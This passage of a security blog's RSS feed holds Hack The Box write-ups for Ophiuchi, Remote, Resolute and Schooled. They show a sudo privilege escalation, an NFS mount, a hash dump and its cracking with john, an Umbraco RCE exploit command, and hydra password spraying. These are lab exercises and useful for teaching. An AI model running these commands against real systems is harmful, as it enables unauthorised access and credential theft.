<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>admin@ophiuchi:/tmp/exploit$ sudo -l</span></span>
<span class="line"><span>Matching Defaults entries for admin on ophiuchi:</span></span>
<span class="line"><span>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span></span>
<span class="line"><span></span></span>
<span class="line"><span>User admin may run the following commands on ophiuchi:</span></span>
<span class="line"><span>    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go</span></span>
<span class="line"><span>admin@ophiuchi:/tmp/exploit$ sudo /usr/bin/go run /opt/wasm-functions/index.go</span></span>
<span class="line"><span>Ready to deploy</span></span>
<span class="line"><span></span></span>
<span class="line"><span>admin@ophiuchi:/tmp/exploit$ sudo -l</span></span>
<span class="line"><span>Matching Defaults entries for admin on ophiuchi:</span></span>
<span class="line"><span>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span></span>
<span class="line"><span></span></span>
<span class="line"><span>User admin may run the following commands on ophiuchi:</span></span>
<span class="line"><span>    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go</span></span>
<span class="line"><span>    (ALL) NOPASSWD: ALL</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The attack worked and the user <code>admin</code> is now able to execute any command as <code>root</code> user with the command <code>sudo</code>.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>admin@ophiuchi:~$ sudo bash</span></span>
<span class="line"><span>root@ophiuchi:/home/admin# id; hostname; ip a</span></span>
<span class="line"><span>uid=0(root) gid=0(root) groups=0(root)</span></span>
<span class="line"><span>ophiuchi</span></span>
<span class="line"><span>1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000</span></span>
<span class="line"><span>    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00</span></span>
<span class="line"><span>    inet 127.0.0.1/8 scope host lo</span></span>
<span class="line"><span>       valid_lft forever preferred_lft forever</span></span>
<span class="line"><span>    inet6 ::1/128 scope host</span></span>
<span class="line"><span>       valid_lft forever preferred_lft forever</span></span>
<span class="line"><span>2: ens160: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000</span></span>
<span class="line"><span>    link/ether 00:50:56:b9:c7:28 brd ff:ff:ff:ff:ff:ff</span></span>
<span class="line"><span>    inet 10.129.173.136/16 brd 10.129.255.255 scope global dynamic ens160</span></span>
<span class="line"><span>       valid_lft 538sec preferred_lft 538sec</span></span>
<span class="line"><span>    inet6 dead:beef::250:56ff:feb9:c728/64 scope global dynamic mngtmpaddr</span></span>
<span class="line"><span>       valid_lft 86369sec preferred_lft 14369sec</span></span>
<span class="line"><span>    inet6 fe80::250:56ff:feb9:c728/64 scope link</span></span>
<span class="line"><span>       valid_lft forever preferred_lft forever</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>Flag</h3>
<p>The root flag was retrieved on the machine.</p>
<figure><figcaption>root-flag</figcaption></figure>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Remote</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Remote.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Remote.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Remote</source>
      <description>box_informationsbox_informations Scan A Masscan highlights the open TCP ports found on the box. open_tcp_ports_masscan Then a nmap scan was conducted in order to try to identify...</description>
      <category>Write-Up</category>
      <pubDate>Sun, 06 Sep 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>A Masscan highlights the open TCP ports found on the box.
</p>
<p>Then a nmap scan was conducted in order to try to identify the version of the services found opened.
</p>
<h2>User</h2>
<h3>RPC</h3>
<p>RPC port is open, it might be possible to dump some information. It gives us the port and services that are listening.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>$&gt; rpcinfo -p 10.10.10.180</span></span>
<span class="line"><span>program vers proto   port  service</span></span>
<span class="line"><span>100000    2   udp    111  portmapper</span></span>
<span class="line"><span>100000    3   udp    111  portmapper</span></span>
<span class="line"><span>100000    4   udp    111  portmapper</span></span>
<span class="line"><span>100000    2   tcp    111  portmapper</span></span>
<span class="line"><span>100000    3   tcp    111  portmapper</span></span>
<span class="line"><span>100000    4   tcp    111  portmapper</span></span>
<span class="line"><span>100003    2   tcp   2049  nfs</span></span>
<span class="line"><span>100003    3   tcp   2049  nfs</span></span>
<span class="line"><span>100003    2   udp   2049  nfs</span></span>
<span class="line"><span>100003    3   udp   2049  nfs</span></span>
<span class="line"><span>100003    4   tcp   2049  nfs</span></span>
<span class="line"><span>100005    1   tcp   2049  mountd</span></span>
<span class="line"><span>100005    2   tcp   2049  mountd</span></span>
<span class="line"><span>100005    3   tcp   2049  mountd</span></span>
<span class="line"><span>100005    1   udp   2049  mountd</span></span>
<span class="line"><span>100005    2   udp   2049  mountd</span></span>
<span class="line"><span>100005    3   udp   2049  mountd</span></span>
<span class="line"><span>100021    1   tcp   2049  nlockmgr</span></span>
<span class="line"><span>100021    2   tcp   2049  nlockmgr</span></span>
<span class="line"><span>100021    3   tcp   2049  nlockmgr</span></span>
<span class="line"><span>100021    4   tcp   2049  nlockmgr</span></span>
<span class="line"><span>100021    1   udp   2049  nlockmgr</span></span>
<span class="line"><span>100021    2   udp   2049  nlockmgr</span></span>
<span class="line"><span>100021    3   udp   2049  nlockmgr</span></span>
<span class="line"><span>100021    4   udp   2049  nlockmgr</span></span>
<span class="line"><span>100024    1   tcp   2049  status</span></span>
<span class="line"><span>100024    1   udp   2049  status</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>From the RPC information retrieved, the port TCP/2049 is an NFS share.</p>
<h3>NFS Share</h3>
<p>A query was made to know if at least a share is available:</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>$&gt; showmount -e 10.10.10.180</span></span>
<span class="line"><span>Export list for 10.10.10.180:</span></span>
<span class="line"><span>/site_backups (everyone)</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>It seems that a share called <strong>site_backups</strong> is available. It can be mounted and browsed.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>$&gt; mount -t nfs 10.10.10.180:/site_backups /root/pentest/mnt</span></span>
<span class="line"><span>$&gt; ls /root/pentest/mnt</span></span>
<span class="line"><span>App_Browsers  App_Data  App_Plugins  aspnet_client  bin  Config  css  default.aspx  Global.asax  Media  scripts  Umbraco  Umbraco_Client  Views  Web.config</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>After digging into the files, the following piece of code in the file <code>Web.config</code> specifies the version and name of the CMS used :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&lt;add key="umbracoConfigurationStatus" value="7.12.4" /&gt;</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>From the file <code>/root/pentest/mnt/App_Data/Logs/UmbracoTraceLog.intranet.txt</code>, it seems that a user <code>admin@htb.local</code> exists on the machine:</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>2020-02-20 00:58:20,012 [P3592/D3/T25] WARN  Umbraco.Web.Editors.PasswordChanger - Could not change user password Passwords must be at least 10 characters.</span></span>
<span class="line"><span>2020-02-20 00:15:24,558 [P4408/D20/T16] INFO  Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: User: admin@htb.local logged in from IP address 192.168.195.1</span></span>
<span class="line"><span>2020-02-20 01:47:38,553 [P3592/D3/T41] INFO  Umbraco.Core.Security.BackOfficeSignInManager - Event Id: 0, state: User: admin@htb.local logged in from IP address 192.168.195.137</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>So a user is using the account <code>admin@htb.local</code>, so the machine might be into a domain. Two internal IPs addresses are also disclosed. From the name of the account, one of the IP address may belong to the admin. This information could be used later.</p>
<p>The file <code>Umbraco.sdf</code> was even more interesting because some users password hashes were found:</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>$&gt; strings /root/pentest/mnt/App_Data/Umbraco.sdf | head</span></span>
<span class="line"><span>Administratoradmindefaulten-US</span></span>
<span class="line"><span>Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d</span></span>
<span class="line"><span>Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d</span></span>
<span class="line"><span>adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50</span></span>
<span class="line"><span>adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f</span></span>
<span class="line"><span>smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e</span></span>
<span class="line"><span>ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749</span></span>
<span class="line"><span>ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32</span></span>
<span class="line"><span>@{pv</span></span>
<span class="line"><span>qpkaj</span></span>
<span class="line"><span>}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The account <code>admin@htb.local</code> password SHA1 hash is : <code>b8be16afba8c314ad33d812f22a04991b90e2aaa</code>.</p>
<h3>Password cracking</h3>
<p>The SHA1 hash was extracted and cracked with john. The wordlist <code>rockyou.txt</code> was used.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>$&gt; john hash_sha1.txt --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt</span></span>
<span class="line"><span>Using default input encoding: UTF-8</span></span>
<span class="line"><span>Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])</span></span>
<span class="line"><span>Warning: no OpenMP support for this hash type, consider --fork=4</span></span>
<span class="line"><span>Press 'q' or Ctrl-C to abort, almost any other key for status</span></span>
<span class="line"><span>baconandcheese   (?)</span></span>
<span class="line"><span>1g 0:00:00:00 DONE (2020-06-30 14:04) 1.219g/s 11980Kp/s 11980Kc/s 11980KC/s baconandchipies1..bacon918</span></span>
<span class="line"><span>Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably</span></span>
<span class="line"><span>Session completed</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The password of the user <code>admin@htb.local</code> is <code>baconandcheese</code>.</p>
<h3>HTTP</h3>
<p>Gobuster was used in parallel with the dirb wordlist <code>big</code>. And, as expected, an <code>umbraco</code> path was found on the web server.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>http://10.10.10.180/umbraco (Status: 200)</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h4>Umbraco - UnAuthenticated</h4>
<p>Independently of our previous findings, the default credentials admin/test for the CMS Umbraco were tried but failed.</p>
<figure><figcaption>umbraco_default_credentials</figcaption></figure>
<h4>Umbranco - Authenticated</h4>
<p>Hopefully, the backup files found and the password cracking job done allow us to connect to the admin interface with the administrative account <code>admin@htb.local</code>.</p>
<p>The version 7.12.4 of umbraco used is prone to an authenticated RCE. A POC can be found here: <a href="https://github.com/noraj/Umbraco-RCE.git" target="_blank" rel="noopener noreferrer">https://github.com/noraj/Umbraco-RCE.git</a></p>
<p>The RCE was confirmed by executing a simple command and retrieve output from stdout :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>python exploit.py -u "admin@htb.local" -p "baconandcheese" -i http://10.10.10.180 -c "whoami" -a "/all"</span></span>
<span class="line"><span></span></span>
<span class="line"><span>USER INFORMATION</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Resolute</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Resolute.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Resolute.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Resolute</source>
      <description>box_informationsbox_informations Recon As usual, we start with a port scan on the machine. The TCP port scan revealed that the following ports are open: open_tcp_ports_nmap User...</description>
      <category>Write-Up</category>
      <pubDate>Sat, 15 Feb 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Recon</h2>
<p>As usual, we start with a port scan on the machine. The TCP port scan revealed that the following ports are open:
</p>
<h2>User flag</h2>
<h3>Enumeration</h3>
<p>Enum4linux was run in order to get some information about the machine with a null session.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>» enum4linux -a -w megabank 10.10.10.169</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>Enumeration was possible and it highlights few comments associated to each user entry.
</p>
<p>The user <em><strong>marko</strong></em> has the password <em><strong>Welcome123!</strong></em>. Unfortunately, the password did not seem to be valid anymore.</p>
<h3>Password Spraying</h3>
<p>A password spraying attack can be conducted on the other users in order to find if another user is using this password. <em>Hydra</em> was used on the SMB service.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>» hydra -L user_list.txt -p 'Welcome123!' smb://10.10.10.169 -I -t 64</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>The password was found to be valid for the user <strong>melanie</strong>.
</p>
<p>It is now possible to log into the box with the user <em><strong>melanie</strong></em> and the password <strong>Welcome123!</strong>.</p>
<h3>Enumeration in Melanie's context</h3>
<p>An enumeration of the available shares by the user <strong>melanie</strong> was done. However, nothing interesting was found.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>» smbclient -W MEGABANK -U melanie -L //10.10.10.169</span></span>
<span class="line"><span>Unable to initialise messaging context</span></span>
<span class="line"><span>Enter MEGABANK\melanie's password:</span></span>
<span class="line"><span></span></span>
<span class="line"><span>        Sharename       Type      Comment</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Schooled</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Schooled.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Schooled.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Schooled</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan UDP Scan User...</description>
      <category>Write-Up</category>
      <pubDate>Thu, 24 Jun 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">22/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssh</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">80/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  http</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">33060/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  mysqlx</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">514/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> syslog</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>User flag</h2>
<p>A look was taken to the Web application taht only displays a promotional page.</p>
<figure><figcaption>basic-page</figcaption></figure>
<p>I looked for other virtual host on the machine and found <code>moodle.schooled.htb</code></p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> gobuster vhost </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">u http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">schooled.htb </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">w </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">opt</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">SecLists</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Discovery</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">DNS</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">shubs</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">subdomains.txt</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Gobuster v3.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1.0</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">by OJ Reeves (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">@TheColonial</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&amp;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Christian Mehlmauer (</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">@firefart</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Url:          http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">schooled.htb</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Method:       GET</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Threads:      </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Wordlist:     </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">opt</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">SecLists</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Discovery</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">DNS</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">shubs</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">subdomains.txt</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] User Agent:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Timeout:      10s</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">===============================================================</span></span>
